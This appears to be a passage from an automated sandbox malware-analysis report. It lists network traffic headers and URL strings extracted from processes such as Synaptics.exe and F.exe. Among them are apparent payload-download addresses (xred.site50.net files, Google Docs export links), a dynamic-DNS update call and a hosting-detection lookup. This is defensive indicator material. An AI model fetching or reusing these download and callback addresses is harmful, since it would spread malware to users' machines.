ACJd0NrwUisrag8Jtvnvdz3fPymXOfLS7yrD7ix0I-uRvFNISRBRv-9EhjAUwCeXcoD62-ERYD6w1hNR1gServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:46 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-wFEKGs1YUBSVa-shpU7naQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: ACJd0NpQtXD6yPnqF9_FM_QLM4d-kexvuuEAcrIy6hyR5tM_OAO-frYy9uoZm2AzjMKDBu3DwsAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 02 Jul 2024 04:51:46 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-p6dwDb7nRsxTPrOUptDVVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: ACJd0NqiVmD_3i-gfw8BxH5-Y_1XWeDswdEP1PqP_zQj3yeO0OEq0Nhduu1Q1FGKc97iXUTSd6NgOkt-6AServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: integrator.exe.0.dr	String found in binary or memory: http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000018.00000002.2852792660.000000000774F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: powershell.exe, 00000015.00000002.2829712033.0000000007B14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2865908533.0000000008121000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: armsvc.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: Synaptics.exe.2.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978T
Source: Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978w
Source: Synaptics.exe, 00000004.00000002.2505106985.00000000006CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978y)_
Source: ._cache_F.exe, 00000003.00000002.3299291942.0000000002B72000.00000004.00000800.00020000.00000000.sdmp, ._cache_F.exe, 00000003.00000002.3299291942.0000000002B59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: F.exe, Synaptics.exe.2.dr	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: F.exe, 00000000.00000002.2697075823.0000000000190000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000008.00000002.2281858184.00000000055BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2802481932.0000000006529000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2823008513.0000000006039000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.2264524529.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.0000000005616000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2757579122.0000000005126000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: ._cache_F.exe, 00000003.00000002.3299291942.0000000002AB1000.00000004.00000800.00020000.00000000.sdmp, ._cache_F.exe, 00000003.00000002.3299291942.0000000002B59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2264524529.0000000004551000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.00000000054CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2757579122.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2765152080.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2264524529.00000000046A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.0000000005616000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2757579122.0000000005126000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Aut2exe.exe.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/
Source: armsvc.exe.0.dr, GoogleCrashHandler64.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: F.exe, Synaptics.exe.2.dr	String found in binary or memory: http://www.eyuyan.com)DVarFileInfo$
Source: F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: Synaptics.exe.2.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: Synaptics.exe.2.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: Synaptics.exe.2.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: powershell.exe, 00000008.00000002.2264524529.0000000004551000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.00000000054CE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2757579122.0000000004FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2765152080.0000000004DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBcq
Source: powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/T.xlsx
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/UDTUBZFW.xlsx
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/elleme
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/etleniyor...
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/fons
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/google.com/APT
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/rver
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/ta
Source: Synaptics.exe, 00000004.00000002.2525129927.00000000053CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2539347979.000000000D86E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2535191044.000000000AF2E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: Synaptics.exe, 00000004.00000002.2537824769.000000000CD2E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXG
Source: Synaptics.exe.2.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlot
Source: F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe.2.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#x5
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$B
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$MF
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$v
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%C
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%KE
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%r
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&0
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(HR
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)BT
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)Bu
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)v
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-Polq
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-cn.net
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..9
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..q
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.1
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.E
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.G
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.com;l
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cx
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goog
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/UM
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/d5
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/m
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/u
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/yI
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download00
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download01045ksv
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0Mj
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0u
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1Cm
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1T
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1kC
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2.
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download23
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2;Z
Source: Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
